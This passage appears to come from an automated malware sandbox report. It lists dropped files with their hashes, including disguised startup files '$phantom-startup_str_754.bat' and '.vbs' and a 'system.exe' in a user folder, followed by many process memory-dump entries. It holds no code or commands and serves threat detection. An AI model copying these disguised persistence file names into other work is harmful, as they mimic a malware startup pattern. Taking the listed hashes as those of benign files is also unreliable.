c0794e2b7036ce5612446a8b15e0c8387773bbc921f63cf8849f8a1f4ef3878c

SHA512
f3555b45aa1a1dd5214716dc81a05905c4ecd5a3e1276d35e08c65623ab1d14d469b3b576a5d9638264c1222d73889d2cc1ee43fb579d9ca3fcddd9f557cac7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e4d8180f3277541a775e6bbece36d587

SHA1
4d119329fd5a6aa8f8b2f6da090a64409955f0c5

SHA256
234349c39b08410e79e78d95319781193c59cf90b9c88dc6ec6d9fae2e054311

SHA512
713ab2414dce6b853011369ba88f064e89dca5031a6be2ec9c5b16b89fc8b70dc5f834bec324549f88ba48b178ce7738fbd0f7959f0717d6f143a6776b46e8d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jsd0j3pz.snc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_754.bat

Filesize
408KB

MD5
34d172bddcf176f4a3c85f2b8083850c

SHA1
6e4fd033d2ed62b464db43b6af1f5bb0e9283a46

SHA256
ecb640f4a29fea8d3fb020aa2b41bdc446703c4b1ede6b5c72621229b270bf42

SHA512
c52171f7c68902cfe5da18b2a76a59c5a27f1cec92ee330f57f18f9b257079b49d5ff445f4251ad13ba5886e274d5286e062c39cac3a77bbef71909502ab3516

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_754.vbs

Filesize
124B

MD5
6b0fc735b25d912ebff710a2b8753f08

SHA1
7e335ca2b1ac27bb42370bac68b1293c0a756f71

SHA256
ba5b385cae4cb9dfffc1a274c97baa8d12305d0fc0aa30f4fa396a4374becfc2

SHA512
aeae76482a69101b5b1b8a725b1705dabcb8339ce76c4c03d8bbc967b9461fb9150de135204fc2e310db2c2bc359843bed43ff79ecdd8ae33e65fa529bb9d83f

Download Submit
C:\Users\Admin\system.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/540-99-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/788-110-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/840-102-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/932-106-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/1004-109-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/1160-105-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/1292-107-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/1372-97-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/1672-100-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/1816-103-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/1984-111-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/2064-101-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/2096-195-0x000001B15E5E0000-0x000001B15E5EC000-memory.dmp

Filesize
48KB

Download
memory/2096-49-0x000001B15E510000-0x000001B15E52A000-memory.dmp

Filesize
104KB

Download
memory/2720-104-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/2736-98-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/3200-11-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3200-0-0x00007FFE6B1F3000-0x00007FFE6B1F5000-memory.dmp

Filesize
8KB

Download
memory/3200-9-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3200-10-0x00000275EE080000-0x00000275EE0A2000-memory.dmp

Filesize
136KB

Download
memory/3200-13-0x00000275EE4D0000-0x00000275EE516000-memory.dmp

Filesize
280KB

Download
memory/3200-12-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3200-15-0x00000275EE480000-0x00000275EE4CE000-memory.dmp

Filesize
312KB

Download
memory/3200-14-0x00000275EDF60000-0x00000275EDF68000-memory.dmp

Filesize
32KB

Download
memory/3200-144-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download
memory/3292-96-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/3292-47-0x0000000002710000-0x000000000273A000-memory.dmp

Filesize
168KB

Download
memory/3456-108-0x00007FFE4C0D0000-0x00007FFE4C0E0000-memory.dmp

Filesize
64KB

Download
memory/4328-30-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download
memory/4328-27-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download
memory/4328-26-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download
memory/4328-25-0x00007FFE6B1F0000-0x00007FFE6BCB2000-memory.dmp

Filesize
10.8MB

Download